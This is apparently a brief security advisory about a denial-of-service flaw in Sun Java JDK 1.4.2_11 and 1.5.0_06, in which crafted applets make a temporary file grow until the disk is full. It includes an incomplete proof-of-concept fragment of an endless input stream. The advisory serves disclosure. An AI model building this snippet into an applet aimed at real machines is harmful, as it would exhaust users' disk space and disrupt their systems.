Sun Java is prone to a remote denial-of-service vulnerability because the application fails to properly handle certain Java applets.

Successfully exploiting this issue will cause the application to create a temporary file that will grow in an unbounded fashion, consuming all available disk space. This will likely result in a denial-of-service condition.

Sun Java JDK 1.4.2_11 and 1.5.0_06 are vulnerable; other versions may also be affected.

{

    public int read()
    {
        return 0;
    }

    public int read(byte abyte0[], int i, int j)
    {
        return j - i;
    }
}
